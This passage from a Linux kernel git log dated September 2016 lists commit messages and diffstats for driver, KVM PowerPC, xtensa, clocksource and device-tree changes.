deletion(-) commit 369e1b69c1a2ed9fb66cfd2a6fe2f7340c64cd49 Author: Sudip Mukherjee Date: Sun Sep 4 20:30:18 2016 +0530 staging: ks7010: return on failure On failure we were jumping to error_out0 where we were trying sdio_release_host() but at this point of execution we still have not done sdio_claim_host() and as a result host->claimed can still be 0. And if host->claimed is 0 then WARN_ON(!host->claimed) will give a warning. Moreover, if it is still not claimed then mmc_host->claim_cnt will be 0 and mmc_release_host() will do "if (--host->claim_cnt)" and thus the condition will become true. Lets just return the value on allocation failure instead of trying to release the host before claiming it. Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit c5901bdcbc6142b686b15d0b4a959aa19a350af1 Author: Simon Horman Date: Thu Sep 8 13:57:33 2016 +0200 pinctrl: sh-pfc: r8a7796: Add voltage switch operations for SDHI This patch supports the {get,set}_io_voltage operations of SDHI. This operates the POCCTRL0 register on R8A7796 SoC and makes 1.8v/3.3v voltage switch. Based on work by Takeshi Kihara and Wolfram Sang. Cc: Takeshi Kihara Signed-off-by: Simon Horman Reviewed-by: Wolfram Sang Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7796.c | 28 ++++++++++++++++++++++++++-- 1 file changed, 26 insertions(+), 2 deletions(-) commit 40ade582194668aa4336a30f96c9d592c46a1928 Author: Niklas Söderlund Date: Tue Sep 6 17:14:14 2016 +0200 pinctrl: sh-pfc: Return pinconf with arguments in packed format The pinconf-generic code expects configurations with arguments to be returned in a packed format in order to be displayed properly by pinconf_generic_dump_one(). Reading /sys/kernel/debug/pinctrl/e6060000.pfc/pinconf-pins on r8a7795/salvator-x now shows: pin 101 (GP_3_5): output drive strength (9 mA), pin power source (3300 selector) Instead of: pin 101 (GP_3_5): output drive strength (0 mA), pin power source (0 selector) Signed-off-by: Niklas Söderlund Tested-by: Geert Uytterhoeven Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pinctrl.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit c30716894e96ed1e76bf32ae68c5438350700496 Author: Sergei Shtylyov Date: Mon Sep 5 23:17:31 2016 +0300 pinctrl: sh-pfc: r8a7792: Add MSIOF pin groups Add MSIOF0/1 pin groups to the R8A7792 PFC driver. Based on the original (and large) patch by Vladimir Barinov . Signed-off-by: Sergei Shtylyov Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7792.c | 82 ++++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) commit 446bd7dd922edd033d28ef9aa8c594c1c2d05289 Author: Sergei Shtylyov Date: Sat Sep 3 00:50:30 2016 +0300 pinctrl: sh-pfc: r8a7792: Add QSPI pin groups Add QSPI pin groups to the R8A7792 PFC driver. Based on the original (and large) patch by Vladimir Barinov . Signed-off-by: Sergei Shtylyov Acked-by: Linus Walleij Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7792.c | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) commit 6406c3d226374c28d452b11db3b5ac241ce26191 Author: Peter Chen Date: Mon Sep 12 16:38:46 2016 +0800 usb: Kconfig: let USB_ULPI_BUS depends on USB_COMMON Since ulpi bus driver is located at usb/common/ulpi.c, whether it is compiled or not depends on CONFIG_USB_COMMON which needs either USB Host or USB Gadget is enabled, so even CONFIG_USB_ULPI_BUS is chosen, its source may still not be compiled when both USB HOST and USB gadget are disabled. It fixed compile error with below configurations: - # CONFIG_USB is not set - # CONFIG_USB_GADGET is not set - CONFIG_PHY_TUSB1210=m - CONFIG_USB_ULPI_BUS=m >> All errors (new ones prefixed by >>): >> >> ERROR: "ulpi_unregister_driver" [drivers/phy/phy-tusb1210.ko] undefined! >> ERROR: "__ulpi_register_driver" [drivers/phy/phy-tusb1210.ko] undefined! >> ERROR: "ulpi_write" [drivers/phy/phy-tusb1210.ko] undefined! Fixes: ad764c49f65a ("usb: Kconfig: move ulpi bus support out of host") Reported-by: kbuild test robot Signed-off-by: Peter Chen Signed-off-by: Greg Kroah-Hartman drivers/usb/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 82daabae9e85a9b54698ce2480429ddf8fe2f098 Author: Matthew Auld Date: Fri Sep 9 21:02:53 2016 +0100 drm/i915: remove writeq ifdeffery drm already provides fallback versions of readq and writeq. Signed-off-by: Matthew Auld Reviewed-by: Joonas Lahtinen Signed-off-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1473451373-9852-1-git-send-email-matthew.auld@intel.com drivers/gpu/drm/i915/i915_gem_gtt.c | 5 ----- 1 file changed, 5 deletions(-) commit d25a4cbba4b9da7c2d674b2f8ecf84af1b24988e Author: Sergei Shtylyov Date: Mon Sep 5 22:43:17 2016 +0300 drm/bridge: adv7511: add support for the 2nd chip The Renesas Wheat board has 2 ADV7513 chips on the same I2C bus, however the ADV751x driver only supports 1 chip as it tries to assign the packet/ EDID/CEC memory I2C devices to the fixed I2C addresses. Assign these I2C addresses at the fixed offsets (derived from the programming guide) from the main register map address instead. Signed-off-by: Sergei Shtylyov Signed-off-by: Archit Taneja Link: http://patchwork.freedesktop.org/patch/msgid/1580212.O1LYdJFM97@wasted.cogentembedded.com drivers/gpu/drm/bridge/adv7511/adv7511_drv.c | 12 ++++++------ drivers/gpu/drm/bridge/adv7511/adv7533.c | 5 ++--- 2 files changed, 8 insertions(+), 9 deletions(-) commit 98a3c4d7ae9ad0ca8a8edbed5f37e559673aa3ac Author: Christian Gromm Date: Fri Sep 9 15:25:43 2016 +0200 staging: most: hdm-usb: remove repeated access to structure This patch removes the repeated access to a struct member by assigning its value to a local variable once. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) commit 3e2880bee53b22b35df3cbbd58ffc84c2ba5c0e6 Author: Andrey Shvetsov Date: Fri Sep 9 15:25:42 2016 +0200 staging: most: hdm-usb: remove reference to read function in write only macro This patch replaces the reference to the function show_value() with NULL in the macro MOST_DCI_WO_ATTR used for the write only attributes. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ac33fbb86578c5587eb5904e66b9ea3ec99c78aa Author: Andrey Shvetsov Date: Fri Sep 9 15:25:41 2016 +0200 staging: most: hdm-usb: initialize variables by declaration This patch moves initialization of the variables to the declaration where possible. Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 0e9b9d08319ce195e12f8cc7860949ca88c7541a Author: Christian Gromm Date: Fri Sep 9 15:25:40 2016 +0200 staging: most: hdm-usb: unify variable names This patch is needed to have the same variable name for the same quantity in the functions show_value() and store_value(). Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a27cb25b64d9737df3e12f970ef9b5b638f7907f Author: Andrey Shvetsov Date: Fri Sep 9 15:25:39 2016 +0200 staging: most: hdm-usb: unify returned errors This patch is needed to return the same error codes for the same error cases in the functions show_value() and store_value(). Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a747b42c8cd70bffe96862479aa1358553a0ab8f Author: Christian Gromm Date: Fri Sep 9 15:25:38 2016 +0200 staging: most: hdm-usb: replace if-else branches with lookup table This patch removes a series of if-else-if conditions with a lookup table. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 93 +++++++++++++++++----------------- 1 file changed, 47 insertions(+), 46 deletions(-) commit 1296bd62b0dcbdc8fd66908eb2d72dc4c3dba219 Author: Christian Gromm Date: Fri Sep 9 15:25:37 2016 +0200 staging: most: Documentation: update ABI description This patch updates the ABI description file to reflect the latest changes of the interface. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman .../most/Documentation/ABI/sysfs-class-most.txt | 134 +++++++++++++++++++++ 1 file changed, 134 insertions(+) commit d5cfb0ff2e628ae07f7226e7cfe8684b7c186e0e Author: Christian Gromm Date: Fri Sep 9 15:25:36 2016 +0200 staging: most: hdm-usb: use defined error codes This patch replaces return values with defined error codes to indicate an exception. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit c0554645a8c5a2fe6dd3dceb17a906f407e5bbf9 Author: Christian Gromm Date: Fri Sep 9 15:25:35 2016 +0200 staging: most: hdm-usb: extend DCI access This patch extends the direct communication interface ABI of the USB network interface controller. It is needed to provide applications arbitrary access to DCI registers and the ability to synchronize the internal endpoint logic of the controller. Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 38 +++++++++++++++++++++++++++++----- 1 file changed, 33 insertions(+), 5 deletions(-) commit 8473054e4d2581282230d01d1ae5379cdcf7a4df Merge: b49f6ab 9395452 Author: Greg Kroah-Hartman Date: Mon Sep 12 09:18:04 2016 +0200 Merge 4.8-rc6 into staging-next We need the IIO changes in here for future patches to build on. Signed-off-by: Greg Kroah-Hartman commit fc9104d5d7172d2cb6c672abeb964242aa735b34 Merge: ab57f86 9395452 Author: Greg Kroah-Hartman Date: Mon Sep 12 09:15:26 2016 +0200 Merge 4.8-rc6 into usb-next We want the USB fixes in here as well. Signed-off-by: Greg Kroah-Hartman commit 8d53e626759415700022d421e4e0eab245c2dc23 Author: Anurag Kumar Vulisha Date: Fri Sep 9 18:58:37 2016 +0530 usb: dwc3: of-simple: Fix warning during unbind In dwc3_of_simple_remove() we are using clk_unprepare() before doing any clk_disable(). If we enable Common CLK framework (CCF) and try to unbind dwc3-of-simple driver, we see kernel WARN messages. This patch fixes this kernel warning by using clk_disable_unprepare() instead of clk_unprepare(). Signed-off-by: Anurag Kumar Vulisha Signed-off-by: Felipe Balbi drivers/usb/dwc3/dwc3-of-simple.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5e6c88d28ccbe72bedee1fbf4f9fea4764208598 Author: Lu Baolu Date: Fri Sep 9 12:51:27 2016 +0800 usb: dwc3: fix Clear Stall EP command failure Commit 50c763f8c1bac ("usb: dwc3: Set the ClearPendIN bit on Clear Stall EP command") sets ClearPendIN bit for all IN endpoints of v2.60a+ cores. This causes ClearStall command fails on 2.60+ cores operating in HighSpeed mode. In page 539 of 2.60a specification: "When issuing Clear Stall command for IN endpoints in SuperSpeed mode, the software must set the "ClearPendIN" bit to '1' to clear any pending IN transcations, so that the device does not expect any ACK TP from the host for the data sent earlier." It's obvious that we only need to apply this rule to those IN endpoints that currently operating in SuperSpeed mode. Fixes: 50c763f8c1bac ("usb: dwc3: Set the ClearPendIN bit on Clear Stall EP command") Cc: # v4.7+ Signed-off-by: Lu Baolu Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit bf15f86b343ed894e74fb9c6c944cea1f8f9b654 Author: Max Filippov Date: Sun Sep 11 21:35:07 2016 -0700 xtensa: initialize MMU before jumping to reset vector When reset is simulated MMU need to be brought into its initial state, because that's what bootloaders/OS kernels assume. This is especially important for MMUv3 because TLB state when the kernel is running is significatly different from its reset state. With this change it is possible to boot linux and get back to U-Boot repeatedly. Signed-off-by: Max Filippov arch/xtensa/kernel/setup.c | 108 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 108 insertions(+) commit ea951c34ea957d509916f79502917b87cf111b37 Author: Max Filippov Date: Sun Sep 11 22:05:32 2016 -0700 xtensa: fix icountlevel setting in cpu_reset icountlevel SR value specifies lowest intlevel that does not do instruction counting, so to disable instruction counting completely it must be set to 0, not to 15. Signed-off-by: Max Filippov arch/xtensa/kernel/setup.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4f2056873ff0748d413c0dc3577186f78fafa7c9 Author: Max Filippov Date: Wed Sep 7 13:33:47 2016 -0700 xtensa: extract common CPU reset code into separate function platform_restart implementatations do the same thing to reset CPU. Don't duplicate that code, move it to a function and call it from platform_restart. Signed-off-by: Max Filippov arch/xtensa/include/asm/platform.h | 6 ++++++ arch/xtensa/kernel/setup.c | 23 +++++++++++++++++++++++ arch/xtensa/platforms/iss/setup.c | 20 +------------------- arch/xtensa/platforms/xt2000/setup.c | 21 +-------------------- arch/xtensa/platforms/xtfpga/setup.c | 22 +--------------------- 5 files changed, 32 insertions(+), 60 deletions(-) commit 071f1344f47946dfcb511bf0fbc998dd9a83be29 Author: Julia Lawall Date: Sun Sep 11 15:05:43 2016 +0200 ALSA: pci: constify local structures For structure types defined in the same file or local header files, find top-level static structure declarations that have the following properties: 1. Never reassigned. 2. Address never taken 3. Not passed to a top-level macro call 4. No pointer or array-typed field passed to a function or stored in a variable. Declare structures having all of these properties as const. Done using Coccinelle. Based on a suggestion by Joe Perches . Signed-off-by: Julia Lawall Signed-off-by: Takashi Iwai sound/pci/ctxfi/ctatc.c | 2 +- sound/pci/hda/patch_ca0132.c | 10 +++++----- sound/pci/riptide/riptide.c | 2 +- 3 files changed, 7 insertions(+), 7 deletions(-) commit 2ea3401e2a84eed3f5f55b2075706f88df160d85 Author: Neil Armstrong Date: Fri Sep 9 15:26:08 2016 +0200 clocksource/drivers/oxnas: Add OX820 compatible In order to support the Oxford Semiconductor OX820 SoC, add new compatible string to rps timer driver. Also add new string in the dt-bindings. Signed-off-by: Neil Armstrong Signed-off-by: Daniel Lezcano Documentation/devicetree/bindings/timer/oxsemi,rps-timer.txt | 2 +- drivers/clocksource/timer-oxnas-rps.c | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) commit 2783e5d63a9a38b5246c75b29f0dce4cf995a1b3 Author: Alexandre Belloni Date: Fri Sep 9 13:13:50 2016 +0200 clocksource/drivers/timer-atmel-pit: Simplify IRQ handler Because the PIT is also a proper clocksource, the timekeeping code is already able to handle lost ticks. Reported-by: Thomas Gleixner Acked-by: Nicolas Ferre Signed-off-by: Alexandre Belloni Signed-off-by: Daniel Lezcano drivers/clocksource/timer-atmel-pit.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 0d41ec8dbf6766ae2f2b9622cc125be118638ccc Author: Alexandre Belloni Date: Fri Sep 9 13:13:49 2016 +0200 clocksource/drivers/timer-atmel-pit: Remove uselesss WARN_ON_ONCE IRQ handlers are running with IRQ disabled for a while, remove wrong comment and useless test. Acked-by: Nicolas Ferre Signed-off-by: Alexandre Belloni Signed-off-by: Daniel Lezcano drivers/clocksource/timer-atmel-pit.c | 6 ------ 1 file changed, 6 deletions(-) commit a17686c462441a01973c18c4c47986a320a5ebe3 Author: Alexandre Belloni Date: Fri Sep 9 13:13:48 2016 +0200 clocksource/drivers/timer-atmel-pit: Drop at91sam926x_pit_common_init Merge at91sam926x_pit_common_init in at91sam926x_pit_dt_init as this is the only initialization method now. Acked-by: Nicolas Ferre Signed-off-by: Alexandre Belloni Signed-off-by: Daniel Lezcano drivers/clocksource/timer-atmel-pit.c | 79 +++++++++++++++-------------------- 1 file changed, 34 insertions(+), 45 deletions(-) commit e2a2d38501cb759333342d97442b3742830752ca Author: Daniel Lezcano Date: Thu Sep 8 14:25:40 2016 +0200 clocksource/drivers/moxart: Replace panic by pr_err The clksrc-of code is supposed to catch the return code and fail gracefully. Don't panic on error, but print the error and exit with a relevant error code. Signed-off-by: Daniel Lezcano Acked-by: Joel Stanley drivers/clocksource/moxart_timer.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit cf1e929c8a389bc0be63f86100f962217ea99455 Author: Daniel Lezcano Date: Thu Sep 8 14:17:00 2016 +0200 clocksource/drivers/moxart: Replace setup_irq by request_irq Save memory space and line of code by replacing setup_irq by request_irq. Signed-off-by: Daniel Lezcano Acked-by: Joel Stanley drivers/clocksource/moxart_timer.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 02154927c115c7599677df57203988e05b576346 Author: Florian Fainelli Date: Sat Sep 10 12:39:03 2016 -0700 net: dsa: bcm_sf2: Get VLAN_PORT_MASK from b53_device While migrating the bcm_sf2 driver to use b53_common, we left a small piece untouched where we kept our local copy of the per-port port_vlan_ctl bitmask value. This value is now maintained by b53_device so we need to use it instead of our local (and now stale) copy of it. Fixes: f458995b9ad8 ("net: dsa: bcm_sf2: Utilize core B53 driver when possible") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/bcm_sf2.c | 2 +- drivers/net/dsa/bcm_sf2.h | 2 -- 2 files changed, 1 insertion(+), 3 deletions(-) commit 90235dc19e5ccd85ad17ebbf51041770e87540a0 Author: Markus Elfring Date: Sun Aug 28 18:40:08 2016 +0200 KVM: PPC: e500: Use kmalloc_array() in kvmppc_e500_tlb_init() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". * Replace the specification of a data structure by a pointer dereference to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: Paul Mackerras arch/powerpc/kvm/e500_mmu.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit b0ac477bc4efd6b9a3eccc106e597edf27546c11 Author: Markus Elfring Date: Sun Aug 28 18:30:38 2016 +0200 KVM: PPC: e500: Replace kzalloc() calls by kcalloc() in two functions * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kcalloc". Suggested-by: Paolo Bonzini This issue was detected also by using the Coccinelle software. * Replace the specification of data structures by pointer dereferences to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: Paul Mackerras arch/powerpc/kvm/e500_mmu.c | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) commit cfb60813fb8363a1681da2c10947e5f5b4165c47 Author: Markus Elfring Date: Sun Aug 28 17:37:10 2016 +0200 KVM: PPC: e500: Delete an unnecessary initialisation in kvm_vcpu_ioctl_config_tlb() The local variable "g2h_bitmap" will be set to an appropriate value a bit later. Thus omit the explicit initialisation at the beginning. Signed-off-by: Markus Elfring Signed-off-by: Paul Mackerras arch/powerpc/kvm/e500_mmu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 46d4e7479252d3fd82a0ea121daef75164a91939 Author: Markus Elfring Date: Sun Aug 28 17:34:46 2016 +0200 KVM: PPC: e500: Less function calls in kvm_vcpu_ioctl_config_tlb() after error detection The kfree() function was called in two cases by the kvm_vcpu_ioctl_config_tlb() function during error handling even if the passed data structure element contained a null pointer. * Split a condition check for memory allocation failures. * Adjust jump targets according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: Paul Mackerras arch/powerpc/kvm/e500_mmu.c | 30 ++++++++++++++++-------------- 1 file changed, 16 insertions(+), 14 deletions(-) commit f3c0ce86a8da6a43c3551a2223abd42040316dd8 Author: Markus Elfring Date: Sun Aug 28 16:30:07 2016 +0200 KVM: PPC: e500: Use kmalloc_array() in kvm_vcpu_ioctl_config_tlb() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Replace the specification of a data type by a pointer dereference to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: Paul Mackerras arch/powerpc/kvm/e500_mmu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 65e7026a6c90484fbaa076d2c51e61baf7241960 Author: Suresh Warrier Date: Fri Aug 19 15:35:57 2016 +1000 KVM: PPC: Book3S HV: Counters for passthrough IRQ stats Add VCPU stat counters to track affinity for passthrough interrupts. pthru_all: Counts all passthrough interrupts whose IRQ mappings are in the kvmppc_passthru_irq_map structure. pthru_host: Counts all cached passthrough interrupts that were injected from the host through kvm_set_irq (i.e. not handled in real mode). pthru_bad_aff: Counts how many cached passthrough interrupts have bad affinity (receiving CPU is not running VCPU that is the target of the virtual interrupt in the guest). Signed-off-by: Suresh Warrier Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_host.h | 3 +++ arch/powerpc/kvm/book3s.c | 3 +++ arch/powerpc/kvm/book3s_hv_rm_xics.c | 18 +++++++++++++----- 3 files changed, 19 insertions(+), 5 deletions(-) commit 5d375199ea963fa2a972eae9c7d83db36ed37082 Author: Paul Mackerras Date: Fri Aug 19 15:35:56 2016 +1000 KVM: PPC: Book3S HV: Set server for passed-through interrupts When a guest has a PCI pass-through device with an interrupt, it will direct the interrupt to a particular guest VCPU. In fact the physical interrupt might arrive on any CPU, and then get delivered to the target VCPU in the emulated XICS (guest interrupt controller), and eventually delivered to the target VCPU. Now that we have code to handle device interrupts in real mode without exiting to the host kernel, there is an advantage to having the device interrupt arrive on the same sub(core) as the target VCPU is running on. In this situation, the interrupt can be delivered to the target VCPU without any exit to the host kernel (using a hypervisor doorbell interrupt between threads if necessary). This patch aims to get passed-through device interrupts arriving on the correct core by setting the interrupt server in the real hardware XICS for the interrupt to the first thread in the (sub)core where its target VCPU is running. We do this in the real-mode H_EOI code because the H_EOI handler already needs to look at the emulated ICS state for the interrupt (whereas the H_XIRR handler doesn't), and we know we are running in the target VCPU context at that point. We set the server CPU in hardware using an OPAL call, regardless of what the IRQ affinity mask for the interrupt says, and without updating the affinity mask. This amounts to saying that when an interrupt is passed through to a guest, as a matter of policy we allow the guest's affinity for the interrupt to override the host's. This is inspired by an earlier patch from Suresh Warrier, although none of this code came from that earlier patch. Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_ppc.h | 4 +++ arch/powerpc/include/asm/opal.h | 1 + arch/powerpc/kvm/book3s_hv.c | 4 +++ arch/powerpc/kvm/book3s_hv_rm_xics.c | 16 ++++++++++++ arch/powerpc/kvm/book3s_xics.c | 35 ++++++++++++++++++++++++++ arch/powerpc/kvm/book3s_xics.h | 2 ++ arch/powerpc/platforms/powernv/opal-wrappers.S | 1 + 7 files changed, 63 insertions(+) commit 366274f59c4de018f72ab44bb41ccaf3d657eb52 Author: Suresh Warrier Date: Fri Aug 19 15:35:55 2016 +1000 KVM: PPC: Book3S HV: Update irq stats for IRQs handled in real mode When a passthrough IRQ is handled completely within KVM real mode code, it has to also update the IRQ stats since this does not go through the generic IRQ handling code. However, the per CPU kstat_irqs field is an allocated (not static) field and so cannot be directly accessed in real mode safely. The function this_cpu_inc_rm() is introduced to safely increment per CPU fields (currently coded for unsigned integers only) that are allocated and could thus be vmalloced also. Signed-off-by: Suresh Warrier Signed-off-by: Paul Mackerras arch/powerpc/kvm/book3s_hv_rm_xics.c | 50 ++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) commit 644abbb254b1ab171f777431b23e6fb5879599d0 Author: Suresh Warrier Date: Fri Aug 19 15:35:54 2016 +1000 KVM: PPC: Book3S HV: Tunable to disable KVM IRQ bypass Add a module parameter kvm_irq_bypass for kvm_hv.ko to disable IRQ bypass for passthrough interrupts. The default value of this tunable is 1 - that is enable the feature. Since the tunable is used by built-in kernel code, we use the module_param_cb macro to achieve this. Signed-off-by: Suresh Warrier Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_book3s.h | 1 + arch/powerpc/include/asm/kvm_ppc.h | 2 +- arch/powerpc/kvm/book3s_hv.c | 10 ++++++++++ arch/powerpc/kvm/book3s_hv_rm_xics.c | 2 ++ 4 files changed, 14 insertions(+), 1 deletion(-) commit af893c7dc941f2510d4f23e76e312c77c434b2f0 Author: Suresh Warrier Date: Fri Aug 19 15:35:53 2016 +1000 KVM: PPC: Book3S HV: Dump irqmap in debugfs Dump the passthrough irqmap structure associated with a guest as part of /sys/kernel/debug/powerpc/kvm-xics-*. Signed-off-by: Suresh Warrier Signed-off-by: Paul Mackerras arch/powerpc/kvm/book3s_xics.c | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit f7af5209b87c592aad81da65bd104241aa43d36a Author: Suresh Warrier Date: Fri Aug 19 15:35:52 2016 +1000 KVM: PPC: Book3S HV: Complete passthrough interrupt in host In existing real mode ICP code, when updating the virtual ICP state, if there is a required action that cannot be completely handled in real mode, as for instance, a VCPU needs to be woken up, flags are set in the ICP to indicate the required action. This is checked when returning from hypercalls to decide whether the call needs switch back to the host where the action can be performed in virtual mode. Note that if h_ipi_redirect is enabled, real mode code will first try to message a free host CPU to complete this job instead of returning the host to do it ourselves. Currently, the real mode PCI passthrough interrupt handling code checks if any of these flags are set and simply returns to the host. This is not good enough as the trap value (0x500) is treated as an external interrupt by the host code. It is only when the trap value is a hypercall that the host code searches for and acts on unfinished work by calling kvmppc_xics_rm_complete. This patch introduces a special trap BOOK3S_INTERRUPT_HV_RM_HARD which is returned by KVM if there is unfinished business to be completed in host virtual mode after handling a PCI passthrough interrupt. The host checks for this special interrupt condition and calls into the kvmppc_xics_rm_complete, which is made an exported function for this reason. [paulus@ozlabs.org - moved logic to set r12 to BOOK3S_INTERRUPT_HV_RM_HARD in book3s_hv_rmhandlers.S into the end of kvmppc_check_wake_reason.] Signed-off-by: Suresh Warrier Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_asm.h | 10 ++++++++++ arch/powerpc/include/asm/kvm_ppc.h | 3 +++ arch/powerpc/kvm/book3s_hv.c | 8 +++++++- arch/powerpc/kvm/book3s_hv_builtin.c | 1 + arch/powerpc/kvm/book3s_hv_rm_xics.c | 2 +- arch/powerpc/kvm/book3s_hv_rmhandlers.S | 25 +++++++++++++++++++++++++ arch/powerpc/kvm/book3s_xics.c | 3 ++- 7 files changed, 49 insertions(+), 3 deletions(-) commit e3c13e56a4717ee334837a20c596e527eb6355e1 Author: Suresh Warrier Date: Fri Aug 19 15:35:51 2016 +1000 KVM: PPC: Book3S HV: Handle passthrough interrupts in guest Currently, KVM switches back to the host to handle any external interrupt (when the interrupt is received while running in the guest). This patch updates real-mode KVM to check if an interrupt is generated by a passthrough adapter that is owned by this guest. If so, the real mode KVM will directly inject the corresponding virtual interrupt to the guest VCPU's ICS and also EOI the interrupt in hardware. In short, the interrupt is handled entirely in real mode in the guest context without switching back to the host. In some rare cases, the interrupt cannot be completely handled in real mode, for instance, a VCPU that is sleeping needs to be woken up. In this case, KVM simply switches back to the host with trap reason set to 0x500. This works, but it is clearly not very efficient. A following patch will distinguish this case and handle it correctly in the host. Note that we can use the existing check_too_hard() routine even though we are not in a hypercall to determine if there is unfinished business that needs to be completed in host virtual mode. The patch assumes that the mapping between hardware interrupt IRQ and virtual IRQ to be injected to the guest already exists for the PCI passthrough interrupts that need to be handled in real mode. If the mapping does not exist, KVM falls back to the default existing behavior. The KVM real mode code reads mappings from the mapped array in the passthrough IRQ map without taking any lock. We carefully order the loads and stores of the fields in the kvmppc_irq_map data structure using memory barriers to avoid an inconsistent mapping being seen by the reader. Thus, although it is possible to miss a map entry, it is not possible to read a stale value. [paulus@ozlabs.org - get irq_chip from irq_map rather than pimap, pulled out powernv eoi change into a separate patch, made kvmppc_read_intr get the vcpu from the paca rather than being passed in, rewrote the logic at the end of kvmppc_read_intr to avoid deep indentation, simplified logic in book3s_hv_rmhandlers.S since we were always restoring SRR0/1 anyway, get rid of the cached array (just use the mapped array), removed the kick_all_cpus_sync() call, clear saved_xirr PACA field when we handle the interrupt in real mode, fix compilation with CONFIG_KVM_XICS=n.] Signed-off-by: Suresh Warrier Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_ppc.h | 3 ++ arch/powerpc/kvm/book3s_hv.c | 8 +++- arch/powerpc/kvm/book3s_hv_builtin.c | 73 ++++++++++++++++++++++++++++++++- arch/powerpc/kvm/book3s_hv_rm_xics.c | 44 ++++++++++++++++++++ arch/powerpc/kvm/book3s_hv_rmhandlers.S | 6 +++ 5 files changed, 132 insertions(+), 2 deletions(-) commit 7a988a4dd29a8cfcf405a12441533d765d25a6b8 Author: Mylène Josserand Date: Thu Sep 8 12:26:10 2016 +0200 ARM: dts: gr8: Add support for the GR8 evaluation board The GR8-EVB is a small board with an NextThing GR8, an Hynix MLC NAND, an AXP209 PMIC, USB host and OTG, an SPDIF output and a connectors for CSI, I2S and LCD. Signed-off-by: Mylène Josserand Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/ntc-gr8-evb.dts | 342 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 343 insertions(+) commit e8f4351a3e277f311eaffa7938e9a1d8a6836999 Author: Mylène Josserand Date: Thu Sep 8 12:26:09 2016 +0200 ARM: dts: Add NextThing GR8 dtsi The GR8 is an SoC made by Nextthing loosely based on the sun5i family. Since it's not clear yet what we can factor out and merge with the A10s and A13 support, let's keep it out of the sun5i.dtsi include tree. We will figure out what can be shared when things settle down. Signed-off-by: Mylène Josserand Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai arch/arm/boot/dts/ntc-gr8.dtsi | 1087 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1087 insertions(+) commit 3d2f4d0c0d4f3b676ecca504a3916b8e9843a181 Merge: 09da111 3f640970 Author: Takashi Iwai Date: Sun Sep 11 09:33:12 2016 